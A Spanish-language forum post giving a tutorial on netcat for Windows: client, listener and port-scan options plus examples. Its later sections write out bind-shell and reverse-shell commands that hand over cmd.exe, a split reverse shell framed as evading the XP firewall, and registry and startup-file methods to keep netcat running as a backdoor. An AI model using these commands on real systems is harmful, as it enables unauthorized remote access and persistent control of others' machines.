manual de netcat para windows

Estado
Cerrado para nuevas respuestas

desertwolf

Nuevo Miembro
Miembro
Hola a todos!

Escribí un manual sobre lo poco que sé de Netcat para Windows, así que les dejo el link a ver que les parece..

Introducción:

El netcat para win32, es un programa que funciona en ms-dos, sin entorno gráfico, y sirve para realizar conecciones de casi cualquier tipo en tcp y udp.
Conviene guardar nc.exe en %windir%/command (si vas a usar nc en una versión de win anterior a winme) o en %windir%/system32 (si vas a usar nc en una versión posterior a winnt). Esto es porque en esas carpetas se guardan los comandos externos del ms-dos y de esta forma vamos a poder usar el nc como un comando externo más. La ventaja de esto es que no vamos a tener que ubicar la línea de comandos en la carpeta donde está guardado el nc cada vez que lo queramos, usar, sino que lo vamos a poder usar dsd cualquier carpeta.
Para ver la ayuda incluida en el nc tipeamos nc -h.


Principales modos de uso
:

· client
Podemos usar el nc para conectarnos a una maquína por cualquier puerto siempre que éste este abierto.
La sintaxis básica es:
nc {opciones} [ip/hostname] [puerto]
Las opciones, como su nombre lo indica, son opcionales, por lo que si yo tipeara en mi linea de comandos:
Insertar CODE, HTML o PHP:
nc 201.234.131.38 23
Se conectaría a 201.234.131.38 (fiar argentina) por el puerto 23 (telnet).
Es muy recomendable usar siempre la opción -vv para que el nc nos de información sobre el estado de la conesión. Las opciones siempre van antes de la dirección ip o el hostname y el puerto (en ese orden), por lo que la nueva sintaxis nos queedaría:
Insertar CODE, HTML o PHP:
nc -vv {opciones} [ip/hostname] [puerto]
Las opciones que se pueden combinar con este uso son:
-d (detach from console) modo oculto, en segundo plano, la conección sigue aunke c cierre el ms-dos
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres que el nc use dns para averiguar el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal
-p (local port number) elegís el puerto local para la conección
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada
-u (udp mode) realiza conecciones en puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· server
Podemos usar el nc para poner un puerto a la escucha y recibir conecciones entrantes.
La sintaxis básica es:
Insertar CODE, HTML o PHP:
nc -l -p {opciones} [puerto]
Donde [puerto] es el número de puerto que se quiere poner a la escucha.
La opción -l puede usarse en mayúscula -L si se desea que luego de finalizada la conección, el nc siga escuchando en el mismo puerto con las mismas opciones. De otra forma, al finalizar la coneccion, el nc se cerraría
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-e (inbound program to exec) ejecuta un programa al conectarse un cliente.
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo hexadecimal.
-r (randomize local and remote ports) elige al azar los puertos no especificados.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.

· port scan
Podemos usar el nc para comprobar que puertos tiene abiertos una máquina.
La sintaxis básica sería:
Insertar CODE, HTML o PHP:
nc -z {opciones} [ip/hostname] [puerto/s]
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del ms-dos
-i (delay interval for lines sent) tiempo de espera entre línea y línea enviada.
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres que el nc resuelva el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo en hexadecimal.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server dejamos de transmitir datos durante 3 segundos, la conección termina.
Los puertos pueden especificarse individualmente, x rangos (inclusivos) o ambos en cualquier orden.

A partir de ésto pueden inventar infinitos usos combinando el nc con otros programas y opciones propias del ms-dos. Además de varias opciones del nc que no expuse acá porque no estoy seguro de poder explicarlas.

Ejémplos prácticos:

· para conectarse a un servidor pop3
Insertar CODE, HTML o PHP:
nc capital.cf.rffdc.edu.ar 110
· para conectarse a un servidor smpt en modo detallado:
Insertar CODE, HTML o PHP:
nc -vv capital.cf.rffdc.edu.ar 25
· para conectarse a un servidor ftp en modo detallado dsd el puerto local 1337:
Insertar CODE, HTML o PHP:
nc -vv -p 1337 capital.cf.rffdc.edu.ar 21
nc -vv -p 1337 ftp.microsoft.com.ar 21
nc -vv -p 1337 ftp.ar.geocities.com 21
nc -vv -p 1337 cablemodem.fibertel.com.ar 21
o x el cliente ftp de ms: ftp [ip/hostname]
· para conectarse a un servidor telnet aprovechando la opción -t (answer telnet negociation)
Insertar CODE, HTML o PHP:
nc -vv -t freeshell.org 23
nc -vv -t capital.cf.rffdc.edu.ar 23
o por el cliente telnet de ms:
Insertar CODE, HTML o PHP:
 telnet [ip/hostname]
· para conectarse a un servidor web en modo detallado dsd el puerto 2236 guardando el trafico en un archivo hexadecimal llamado wdeah.txt:
Insertar CODE, HTML o PHP:
nc -vv -p 2236 -o wdeah.txt Google 80
nc -vv -p 2236 -o wdeah.txt desertwolf.com.ar  ||  hacking, programaci 80
nc -vv -p 2236 -o wdeah.txt Fotolog - Share photos. Make friends. It's easy! 80
o x ms iexplorer en dirección: [ip/host]
· escanear puertos individualmente:
Insertar CODE, HTML o PHP:
nc -z www.ieslenguasvivasjrf.esc.edu.ar 21 23 20 22 80 110
· escanear puertos por rangos inclusivos:
Insertar CODE, HTML o PHP:
nc -z 200.123.160.225 20-23 137-139
· escanear por puertos tanto específicos como por rangos:
Insertar CODE, HTML o PHP:
nc -z www.ieslenguasvivasjrf.esc.edu.ar 137-139 80 110
· shell directa
Mediante este comando en un Windows posterior a winme
Insertar CODE, HTML o PHP:
nc -l -p 2236 -e cmd.exe -d
A cualquiera que se conectase por el puerto 2236 mediante nc o telnet, le aparecería una shell equivalente al cmd.exe de la maquína en la que se ejecutó el comando. Lo mismo ocurriría en un Windows anterior a winme reemplazando cmd.exe por command.com en el comando anterior.

· shell inversa
Esta técnica es una variación de la primera, con la diferencia que en esta la máquina que proporciona la shell se conecta a la otra pudiendo de ésta forma saltar algúnos routers y firewalls. Ideal para maquínas dentro de una red.
Se ejecuta el siguiente comando en una maquína para ponerla a la escucha de conexiones por el puerto 2236:
Insertar CODE, HTML o PHP:
nc -vv -L -p 2236
Luego, se ejecuta el siguiente comando en la maquína que va a proporcionar la shell para que se conecte a la primera:
Insertar CODE, HTML o PHP:
nc -d -e [cmd.exe/command.com] [ip/hostname primera maq] 2236
· shell inversa distribuida
Está técnica es la más silenciosa y efectiva de todas, en ésta se realizan dos conexiones inversas (una para enviar información y otra para recibirla) usando los puertos 25 y 80 que el firewall del Windows XP sp2 no filtra por tenerlos habilitados por default para el envío (25 smpt) y recibo (80 http) de información.
Para esto abrimos dos ventanas en la maquína que recibirá la shell en las que ponemos:
Insertar CODE, HTML o PHP:
nc -vv -l -p 80
y
Insertar CODE, HTML o PHP:
nc -vv -l -p 25
Respectivamente, de manera que escuche conexiones por los puertos 80 y 25. Luego, en la máquina que proporcionará la shell ponemos:
Insertar CODE, HTML o PHP:
nc [ip/hostname maq escucha] 80 | cmd.exe | nc [ip/hostname maq escucha] 25
Una vez realizada la conexión, se envían los comandos desde la ventana que escucha por el puerto 80 y se reciben los resultados en la ventana que escucha por el puerto 25.

· backdoor
Para dejar al nc funcionando a modo de backdoor se pueden utilizar diversos métodos, tales como agregar un valor alfanumérico en el registro de win en la clave hkey_local_machine\software\microsoft\windows\currentversion\run, o agregar un línea al autoexec.bat o al win.ini, o utilizar el comando at, el programador de tareas, etc.

· chat peer to peer
Se puede crear un simple chat mediante nc entre dos personas escribiendo una de ellas (server) éste comando:
Insertar CODE, HTML o PHP:
nc -l -p 1337
y la otra (client) éste otro:
Insertar CODE, HTML o PHP:
nc [ip/hostname de la maq donde c ejecuto el comando anterior] 1337
La primera persona abriría el puerto 1337 para recibir conecciónes y la segunda se conectaría a su maquína por el puerto que la primera persona abrió por lo que realizarían una conección directa puerto a puerto.
Luego, lo que una de las personas escribiese en su nc aparecería en el nc del otro y viceversa.

· etc.
Usá la cabeza para combinar opciones del tipo >, >>, <, << o | propias del ms-dos, ingeniería social, otros programas en conjunto con nc mediante la opción -e, etc para aprovechar al máximo este programita.


Cierre
:

La versión original de Netcat fue programada por *hobbit*
Insertar CODE, HTML o PHP:
hobbit@avian.org
y la versión NT por Weld Pond
Insertar CODE, HTML o PHP:
weld@l0pht.com
.
Este texto fue escrito en su integridad por Franco Pyrih
Insertar CODE, HTML o PHP:
franco.pyrih@gmail.com
, no es ni oficial, ni completo. El mismo es de libre distribución siempre y cuando no se modifique el contenido original ni el nombre del autor.
Las ip y los hostnames descriptas, se encuentran a modo de ejemplo, del mismo modo que los puertos 1337 y 2236 que fueron elegidos al azar por el autor. El único fin de este texto es informar sobre el uso del netcat.

Fin
 
Estado
Cerrado para nuevas respuestas
Thread starter Temas similares Forum Replies Date
jbex Manuales y Tips Windows XP 0
Temas similares
Video-manuales

Arriba Pie